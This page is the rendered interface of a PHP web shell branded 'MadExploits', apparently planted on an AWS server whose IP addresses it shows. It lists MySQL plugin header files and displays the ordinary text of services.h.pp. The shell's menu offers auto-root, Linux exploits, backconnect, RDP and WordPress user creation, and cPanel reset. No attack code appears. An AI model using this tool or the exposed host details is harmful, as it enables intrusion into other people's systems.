Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.191.136.109
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
include /
mysql /
[ HOME SHELL ]
Name
Size
Permission
Action
psi
[ DIR ]
drwxr-xr-x
client_authentication.h
1.62
KB
-rw-r--r--
client_plugin.h
6.98
KB
-rw-r--r--
client_plugin.h.pp
1.94
KB
-rw-r--r--
com_data.h
3.43
KB
-rw-r--r--
get_password.h
1.56
KB
-rw-r--r--
group_replication_priv.h
5.02
KB
-rw-r--r--
innodb_priv.h
2.51
KB
-rw-r--r--
mysql_lex_string.h
1.47
KB
-rw-r--r--
plugin.h
26.08
KB
-rw-r--r--
plugin_audit.h
17.52
KB
-rw-r--r--
plugin_audit.h.pp
13.57
KB
-rw-r--r--
plugin_auth.h
5.63
KB
-rw-r--r--
plugin_auth.h.pp
5.03
KB
-rw-r--r--
plugin_auth_common.h
5.4
KB
-rw-r--r--
plugin_ftparser.h
7.86
KB
-rw-r--r--
plugin_ftparser.h.pp
4.76
KB
-rw-r--r--
plugin_group_replication.h
5.93
KB
-rw-r--r--
plugin_keyring.h
6.54
KB
-rw-r--r--
plugin_keyring.h.pp
4.35
KB
-rw-r--r--
plugin_trace.h
12.26
KB
-rw-r--r--
plugin_validate_password.h
1.94
KB
-rw-r--r--
service_command.h
13.56
KB
-rw-r--r--
service_locking.h
4.63
KB
-rw-r--r--
service_my_plugin_log.h
2.03
KB
-rw-r--r--
service_my_snprintf.h
3.72
KB
-rw-r--r--
service_mysql_alloc.h
3.09
KB
-rw-r--r--
service_mysql_keyring.h
2.79
KB
-rw-r--r--
service_mysql_password_policy....
2.77
KB
-rw-r--r--
service_mysql_string.h
5.62
KB
-rw-r--r--
service_parser.h
9.58
KB
-rw-r--r--
service_rpl_transaction_ctx.h
2.7
KB
-rw-r--r--
service_rpl_transaction_write_...
3.58
KB
-rw-r--r--
service_rules_table.h
5.37
KB
-rw-r--r--
service_security_context.h
4.36
KB
-rw-r--r--
service_srv_session.h
5.18
KB
-rw-r--r--
service_srv_session_info.h
5.51
KB
-rw-r--r--
service_ssl_wrapper.h
5.43
KB
-rw-r--r--
service_thd_alloc.h
4.62
KB
-rw-r--r--
service_thd_engine_lock.h
1.85
KB
-rw-r--r--
service_thd_wait.h
4.25
KB
-rw-r--r--
service_thread_scheduler.h
3.01
KB
-rw-r--r--
services.h
2.3
KB
-rw-r--r--
services.h.pp
21.78
KB
-rw-r--r--
thread_pool_priv.h
6.5
KB
-rw-r--r--
thread_type.h
1.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : services.h.pp
#include <mysql/service_srv_session.h> struct Srv_session; typedef struct Srv_session* MYSQL_SESSION; typedef void (*srv_session_error_cb)(void *ctx, unsigned int sql_errno, const char *err_msg); extern struct srv_session_service_st { int (*init_session_thread)(const void *plugin); void (*deinit_session_thread)(); MYSQL_SESSION (*open_session)(srv_session_error_cb error_cb, void *plugix_ctx); int (*detach_session)(MYSQL_SESSION session); int (*close_session)(MYSQL_SESSION session); int (*server_is_available)(); } *srv_session_service; int srv_session_init_thread(const void *plugin); void srv_session_deinit_thread(); MYSQL_SESSION srv_session_open(srv_session_error_cb cb, void *plugix_ctx); int srv_session_detach(MYSQL_SESSION session); int srv_session_close(MYSQL_SESSION session); int srv_session_server_is_available(); #include <mysql/service_srv_session_info.h> #include "mysql/service_srv_session.h" extern struct srv_session_info_service_st { MYSQL_THD (*get_thd)(MYSQL_SESSION session); my_thread_id (*get_session_id)(MYSQL_SESSION session); LEX_CSTRING (*get_current_db)(MYSQL_SESSION session); uint16_t (*get_client_port)(MYSQL_SESSION session); int (*set_client_port)(MYSQL_SESSION session, uint16_t port); int (*set_connection_type)(MYSQL_SESSION session, enum enum_vio_type type); int (*killed)(MYSQL_SESSION session); unsigned int (*session_count)(); unsigned int (*thread_count)(const void *plugin); } *srv_session_info_service; MYSQL_THD srv_session_info_get_thd(MYSQL_SESSION session); my_thread_id srv_session_info_get_session_id(MYSQL_SESSION session); LEX_CSTRING srv_session_info_get_current_db(MYSQL_SESSION session); uint16_t srv_session_info_get_client_port(MYSQL_SESSION session); int srv_session_info_set_client_port(MYSQL_SESSION session, uint16_t port); int srv_session_info_set_connection_type(MYSQL_SESSION session, enum enum_vio_type type); int srv_session_info_killed(MYSQL_SESSION session); unsigned int srv_session_info_session_count(); unsigned int srv_session_info_thread_count(const void *plugin); #include <mysql/service_command.h> #include "mysql/service_srv_session.h" #include "mysql/com_data.h" typedef struct st_com_init_db_data { const char *db_name; unsigned long length; } COM_INIT_DB_DATA; typedef struct st_com_refresh_data { unsigned char options; } COM_REFRESH_DATA; typedef struct st_com_shutdown_data { enum mysql_enum_shutdown_level level; } COM_SHUTDOWN_DATA; typedef struct st_com_kill_data { unsigned long id; } COM_KILL_DATA; typedef struct st_com_set_option_data { unsigned int opt_command; } COM_SET_OPTION_DATA; typedef struct st_com_stmt_execute_data { unsigned long stmt_id; unsigned long flags; unsigned char *params; unsigned long params_length; } COM_STMT_EXECUTE_DATA; typedef struct st_com_stmt_fetch_data { unsigned long stmt_id; unsigned long num_rows; } COM_STMT_FETCH_DATA; typedef struct st_com_stmt_send_long_data_data { unsigned long stmt_id; unsigned int param_number; unsigned char *longdata; unsigned long length; } COM_STMT_SEND_LONG_DATA_DATA; typedef struct st_com_stmt_prepare_data { const char *query; unsigned int length; } COM_STMT_PREPARE_DATA; typedef struct st_stmt_close_data { unsigned int stmt_id; } COM_STMT_CLOSE_DATA; typedef struct st_com_stmt_reset_data { unsigned int stmt_id; } COM_STMT_RESET_DATA; typedef struct st_com_query_data { const char *query; unsigned int length; } COM_QUERY_DATA; typedef struct st_com_field_list_data { unsigned char *table_name; unsigned int table_name_length; const unsigned char *query; unsigned int query_length; } COM_FIELD_LIST_DATA; union COM_DATA { COM_INIT_DB_DATA com_init_db; COM_REFRESH_DATA com_refresh; COM_SHUTDOWN_DATA com_shutdown; COM_KILL_DATA com_kill; COM_SET_OPTION_DATA com_set_option; COM_STMT_EXECUTE_DATA com_stmt_execute; COM_STMT_FETCH_DATA com_stmt_fetch; COM_STMT_SEND_LONG_DATA_DATA com_stmt_send_long_data; COM_STMT_PREPARE_DATA com_stmt_prepare; COM_STMT_CLOSE_DATA com_stmt_close; COM_STMT_RESET_DATA com_stmt_reset; COM_QUERY_DATA com_query; COM_FIELD_LIST_DATA com_field_list; }; #include "mysql_time.h" enum enum_mysql_timestamp_type { MYSQL_TIMESTAMP_NONE= -2, MYSQL_TIMESTAMP_ERROR= -1, MYSQL_TIMESTAMP_DATE= 0, MYSQL_TIMESTAMP_DATETIME= 1, MYSQL_TIMESTAMP_TIME= 2 }; typedef struct st_mysql_time { unsigned int year, month, day, hour, minute, second; unsigned long second_part; my_bool neg; enum enum_mysql_timestamp_type time_type; } MYSQL_TIME; #include "decimal.h" typedef enum {TRUNCATE=0, HALF_EVEN, HALF_UP, CEILING, FLOOR} decimal_round_mode; typedef int32 decimal_digit_t; typedef struct st_decimal_t { int intg, frac, len; my_bool sign; decimal_digit_t *buf; } decimal_t; struct st_send_field { const char *db_name; const char *table_name; const char *org_table_name; const char *col_name; const char *org_col_name; unsigned long length; unsigned int charsetnr; unsigned int flags; unsigned int decimals; enum_field_types type; }; struct st_command_service_cbs { int (*start_result_metadata)(void *ctx, uint num_cols, uint flags, const CHARSET_INFO *resultcs); int (*field_metadata)(void *ctx, struct st_send_field *field, const CHARSET_INFO *charset); int (*end_result_metadata)(void *ctx, uint server_status, uint warn_count); int (*start_row)(void *ctx); int (*end_row)(void *ctx); void (*abort_row)(void *ctx); ulong (*get_client_capabilities)(void *ctx); int (*get_null)(void * ctx); int (*get_integer)(void * ctx, longlong value); int (*get_longlong)(void * ctx, longlong value, uint is_unsigned); int (*get_decimal)(void * ctx, const decimal_t * value); int (*get_double)(void * ctx, double value, uint32_t decimals); int (*get_date)(void * ctx, const MYSQL_TIME * value); int (*get_time)(void * ctx, const MYSQL_TIME * value, uint decimals); int (*get_datetime)(void * ctx, const MYSQL_TIME * value, uint decimals); int (*get_string)(void * ctx, const char * value, size_t length, const CHARSET_INFO * valuecs); void (*handle_ok)(void * ctx, uint server_status, uint statement_warn_count, ulonglong affected_rows, ulonglong last_insert_id, const char * message); void (*handle_error)(void * ctx, uint sql_errno, const char * err_msg, const char * sqlstate); void (*shutdown)(void *ctx, int server_shutdown); }; enum cs_text_or_binary { CS_TEXT_REPRESENTATION= 1, CS_BINARY_REPRESENTATION= 2, }; extern struct command_service_st { int (*run_command)(MYSQL_SESSION session, enum enum_server_command command, const union COM_DATA * data, const CHARSET_INFO * client_cs, const struct st_command_service_cbs * callbacks, enum cs_text_or_binary text_or_binary, void * service_callbacks_ctx); } *command_service; int command_service_run_command(MYSQL_SESSION session, enum enum_server_command command, const union COM_DATA * data, const CHARSET_INFO * client_cs, const struct st_command_service_cbs * callbacks, enum cs_text_or_binary text_or_binary, void * service_callbacks_ctx); #include <mysql/service_my_snprintf.h> extern struct my_snprintf_service_st { size_t (*my_snprintf_type)(char*, size_t, const char*, ...); size_t (*my_vsnprintf_type)(char *, size_t, const char*, va_list); } *my_snprintf_service; size_t my_snprintf(char* to, size_t n, const char* fmt, ...); size_t my_vsnprintf(char *to, size_t n, const char* fmt, va_list ap); #include <mysql/service_thd_alloc.h> #include <mysql/mysql_lex_string.h> struct st_mysql_lex_string { char *str; size_t length; }; typedef struct st_mysql_lex_string MYSQL_LEX_STRING; struct st_mysql_const_lex_string { const char *str; size_t length; }; typedef struct st_mysql_const_lex_string MYSQL_LEX_CSTRING; extern struct thd_alloc_service_st { void *(*thd_alloc_func)(void*, size_t); void *(*thd_calloc_func)(void*, size_t); char *(*thd_strdup_func)(void*, const char *); char *(*thd_strmake_func)(void*, const char *, size_t); void *(*thd_memdup_func)(void*, const void*, size_t); MYSQL_LEX_STRING *(*thd_make_lex_string_func)(void*, MYSQL_LEX_STRING *, const char *, size_t, int); } *thd_alloc_service; void *thd_alloc(void* thd, size_t size); void *thd_calloc(void* thd, size_t size); char *thd_strdup(void* thd, const char *str); char *thd_strmake(void* thd, const char *str, size_t size); void *thd_memdup(void* thd, const void* str, size_t size); MYSQL_LEX_STRING *thd_make_lex_string(void* thd, MYSQL_LEX_STRING *lex_str, const char *str, size_t size, int allocate_lex_string); #include <mysql/service_thd_wait.h> typedef enum _thd_wait_type_e { THD_WAIT_SLEEP= 1, THD_WAIT_DISKIO= 2, THD_WAIT_ROW_LOCK= 3, THD_WAIT_GLOBAL_LOCK= 4, THD_WAIT_META_DATA_LOCK= 5, THD_WAIT_TABLE_LOCK= 6, THD_WAIT_USER_LOCK= 7, THD_WAIT_BINLOG= 8, THD_WAIT_GROUP_COMMIT= 9, THD_WAIT_SYNC= 10, THD_WAIT_LAST= 11 } thd_wait_type; extern struct thd_wait_service_st { void (*thd_wait_begin_func)(void*, int); void (*thd_wait_end_func)(void*); } *thd_wait_service; void thd_wait_begin(void* thd, int wait_type); void thd_wait_end(void* thd); #include <mysql/service_thread_scheduler.h> struct Connection_handler_functions; struct THD_event_functions; extern struct my_thread_scheduler_service { int (*connection_handler_set)(struct Connection_handler_functions *, struct THD_event_functions *); int (*connection_handler_reset)(); } *my_thread_scheduler_service; int my_connection_handler_set(struct Connection_handler_functions *chf, struct THD_event_functions *tef); int my_connection_handler_reset(); #include <mysql/service_my_plugin_log.h> enum plugin_log_level { MY_ERROR_LEVEL, MY_WARNING_LEVEL, MY_INFORMATION_LEVEL }; extern struct my_plugin_log_service { int (*my_plugin_log_message)(MYSQL_PLUGIN *, enum plugin_log_level, const char *, ...); } *my_plugin_log_service; int my_plugin_log_message(MYSQL_PLUGIN *plugin, enum plugin_log_level level, const char *format, ...); #include <mysql/service_mysql_string.h> typedef void *mysql_string_iterator_handle; typedef void *mysql_string_handle; extern struct mysql_string_service_st { int (*mysql_string_convert_to_char_ptr_type) (mysql_string_handle, const char *, char *, unsigned int, int *); mysql_string_iterator_handle (*mysql_string_get_iterator_type) (mysql_string_handle); int (*mysql_string_iterator_next_type)(mysql_string_iterator_handle); int (*mysql_string_iterator_isupper_type)(mysql_string_iterator_handle); int (*mysql_string_iterator_islower_type)(mysql_string_iterator_handle); int (*mysql_string_iterator_isdigit_type)(mysql_string_iterator_handle); mysql_string_handle (*mysql_string_to_lowercase_type)(mysql_string_handle); void (*mysql_string_free_type)(mysql_string_handle); void (*mysql_string_iterator_free_type)(mysql_string_iterator_handle); } *mysql_string_service; int mysql_string_convert_to_char_ptr(mysql_string_handle string_handle, const char *charset_name, char *buffer, unsigned int buffer_size, int *error); mysql_string_iterator_handle mysql_string_get_iterator(mysql_string_handle string_handle); int mysql_string_iterator_next(mysql_string_iterator_handle iterator_handle); int mysql_string_iterator_isupper(mysql_string_iterator_handle iterator_handle); int mysql_string_iterator_islower(mysql_string_iterator_handle iterator_handle); int mysql_string_iterator_isdigit(mysql_string_iterator_handle iterator_handle); mysql_string_handle mysql_string_to_lowercase(mysql_string_handle string_handle); void mysql_string_free(mysql_string_handle); void mysql_string_iterator_free(mysql_string_iterator_handle); #include <mysql/service_mysql_alloc.h> #include "mysql/psi/psi_memory.h" #include "psi_base.h" struct PSI_thread; typedef unsigned int PSI_memory_key; typedef int myf_t; typedef void * (*mysql_malloc_t)(PSI_memory_key key, size_t size, myf_t flags); typedef void * (*mysql_realloc_t)(PSI_memory_key key, void *ptr, size_t size, myf_t flags); typedef void (*mysql_claim_t)(void *ptr); typedef void (*mysql_free_t)(void *ptr); typedef void * (*my_memdup_t)(PSI_memory_key key, const void *from, size_t length, myf_t flags); typedef char * (*my_strdup_t)(PSI_memory_key key, const char *from, myf_t flags); typedef char * (*my_strndup_t)(PSI_memory_key key, const char *from, size_t length, myf_t flags); struct mysql_malloc_service_st { mysql_malloc_t mysql_malloc; mysql_realloc_t mysql_realloc; mysql_claim_t mysql_claim; mysql_free_t mysql_free; my_memdup_t my_memdup; my_strdup_t my_strdup; my_strndup_t my_strndup; }; extern struct mysql_malloc_service_st *mysql_malloc_service; extern void * my_malloc(PSI_memory_key key, size_t size, myf_t flags); extern void * my_realloc(PSI_memory_key key, void *ptr, size_t size, myf_t flags); extern void my_claim(void *ptr); extern void my_free(void *ptr); extern void * my_memdup(PSI_memory_key key, const void *from, size_t length, myf_t flags); extern char * my_strdup(PSI_memory_key key, const char *from, myf_t flags); extern char * my_strndup(PSI_memory_key key, const char *from, size_t length, myf_t flags); #include <mysql/service_mysql_password_policy.h> extern struct mysql_password_policy_service_st { int (*my_validate_password_policy_func)(const char *, unsigned int); int (*my_calculate_password_strength_func)(const char *, unsigned int); } *mysql_password_policy_service; int my_validate_password_policy(const char *, unsigned int); int my_calculate_password_strength(const char *, unsigned int); #include <mysql/service_parser.h> #include "my_md5_size.h" #include <mysql/mysql_lex_string.h> typedef void* MYSQL_ITEM; typedef int (*parse_node_visit_function)(MYSQL_ITEM item, unsigned char* arg); typedef int (*sql_condition_handler_function)(int sql_errno, const char* sqlstate, const char* msg, void *state); struct st_my_thread_handle; extern struct mysql_parser_service_st { void* (*mysql_current_session)(); void* (*mysql_open_session)(); void (*mysql_start_thread)(void* thd, void *(*callback_fun)(void*), void *arg, struct st_my_thread_handle *thread_handle); void (*mysql_join_thread)(struct st_my_thread_handle *thread_handle); void (*mysql_set_current_database)(void* thd, const MYSQL_LEX_STRING db); int (*mysql_parse)(void* thd, const MYSQL_LEX_STRING query, unsigned char is_prepared, sql_condition_handler_function handle_condition, void *condition_handler_state); int (*mysql_get_statement_type)(void* thd); int (*mysql_get_statement_digest)(void* thd, unsigned char *digest); int (*mysql_get_number_params)(void* thd); int (*mysql_extract_prepared_params)(void* thd, int *positions); int (*mysql_visit_tree)(void* thd, parse_node_visit_function processor, unsigned char* arg); MYSQL_LEX_STRING (*mysql_item_string)(MYSQL_ITEM item); void (*mysql_free_string)(MYSQL_LEX_STRING string); MYSQL_LEX_STRING (*mysql_get_query)(void* thd); MYSQL_LEX_STRING (*mysql_get_normalized_query)(void* thd); } *mysql_parser_service; typedef void *(*callback_function)(void*); void* mysql_parser_current_session(); void* mysql_parser_open_session(); void mysql_parser_start_thread(void* thd, callback_function fun, void *arg, struct st_my_thread_handle *thread_handle); void mysql_parser_join_thread(struct st_my_thread_handle *thread_handle); void mysql_parser_set_current_database(void* thd, const MYSQL_LEX_STRING db); int mysql_parser_parse(void* thd, const MYSQL_LEX_STRING query, unsigned char is_prepared, sql_condition_handler_function handle_condition, void *condition_handler_state); int mysql_parser_get_statement_type(void* thd); int mysql_parser_get_statement_digest(void* thd, unsigned char *digest); int mysql_parser_get_number_params(void* thd); int mysql_parser_extract_prepared_params(void* thd, int *positions); int mysql_parser_visit_tree(void* thd, parse_node_visit_function processor, unsigned char* arg); MYSQL_LEX_STRING mysql_parser_item_string(MYSQL_ITEM item); void mysql_parser_free_string(MYSQL_LEX_STRING string); MYSQL_LEX_STRING mysql_parser_get_query(void* thd); MYSQL_LEX_STRING mysql_parser_get_normalized_query(void* thd); #include <mysql/service_rpl_transaction_ctx.h> struct st_transaction_termination_ctx { unsigned long m_thread_id; unsigned int m_flags; char m_rollback_transaction; char m_generated_gtid; int m_sidno; long long int m_gno; }; typedef struct st_transaction_termination_ctx Transaction_termination_ctx; extern struct rpl_transaction_ctx_service_st { int (*set_transaction_ctx)(Transaction_termination_ctx transaction_termination_ctx); } *rpl_transaction_ctx_service; int set_transaction_ctx(Transaction_termination_ctx transaction_termination_ctx); #include <mysql/service_rpl_transaction_write_set.h> struct st_trans_write_set { unsigned int m_flags; unsigned long write_set_size; unsigned long long* write_set; }; typedef struct st_trans_write_set Transaction_write_set; extern struct transaction_write_set_service_st { Transaction_write_set* (*get_transaction_write_set)(unsigned long m_thread_id); void (*require_full_write_set)(int requires_ws); void (*set_write_set_memory_size_limit)(long long size_limit); void (*update_write_set_memory_size_limit)(long long size_limit); } *transaction_write_set_service; Transaction_write_set* get_transaction_write_set(unsigned long m_thread_id); void require_full_write_set(int requires_ws); void set_write_set_memory_size_limit(long long size_limit); void update_write_set_memory_size_limit(long long size_limit); #include <mysql/service_security_context.h> typedef char my_svc_bool; extern struct security_context_service_st { my_svc_bool (*thd_get_security_context)(void*, void* *out_ctx); my_svc_bool (*thd_set_security_context)(void*, void* in_ctx); my_svc_bool (*security_context_create)(void* *out_ctx); my_svc_bool (*security_context_destroy)(void*); my_svc_bool (*security_context_copy)(void* in_ctx, void* *out_ctx); my_svc_bool (*security_context_lookup)(void* ctx, const char *user, const char *host, const char *ip, const char *db); my_svc_bool (*security_context_get_option)(void*, const char *name, void *inout_pvalue); my_svc_bool (*security_context_set_option)(void*, const char *name, void *pvalue); } *security_context_service; my_svc_bool thd_get_security_context(void*, void* *out_ctx); my_svc_bool thd_set_security_context(void*, void* in_ctx); my_svc_bool security_context_create(void* *out_ctx); my_svc_bool security_context_destroy(void* ctx); my_svc_bool security_context_copy(void* in_ctx, void* *out_ctx); my_svc_bool security_context_lookup(void* ctx, const char *user, const char *host, const char *ip, const char *db); my_svc_bool security_context_get_option(void*, const char *name, void *inout_pvalue); my_svc_bool security_context_set_option(void*, const char *name, void *pvalue); #include <mysql/service_locking.h> enum enum_locking_service_lock_type { LOCKING_SERVICE_READ, LOCKING_SERVICE_WRITE }; extern struct mysql_locking_service_st { int (*mysql_acquire_locks)(void* opaque_thd, const char* lock_namespace, const char**lock_names, size_t lock_num, enum enum_locking_service_lock_type lock_type, unsigned long lock_timeout); int (*mysql_release_locks)(void* opaque_thd, const char* lock_namespace); } *mysql_locking_service; int mysql_acquire_locking_service_locks(void* opaque_thd, const char* lock_namespace, const char**lock_names, size_t lock_num, enum enum_locking_service_lock_type lock_type, unsigned long lock_timeout); int mysql_release_locking_service_locks(void* opaque_thd, const char* lock_namespace); #include <mysql/service_mysql_keyring.h> extern struct mysql_keyring_service_st { int (*my_key_store_func)(const char *, const char *, const char *, const void *, size_t); int (*my_key_fetch_func)(const char *, char **, const char *, void **, size_t *); int (*my_key_remove_func)(const char *, const char *); int (*my_key_generate_func)(const char *, const char *, const char *, size_t); } *mysql_keyring_service; int my_key_store(const char *, const char *, const char *, const void *, size_t); int my_key_fetch(const char *, char **, const char *, void **, size_t *); int my_key_remove(const char *, const char *); int my_key_generate(const char *, const char *, const char *, size_t);
Close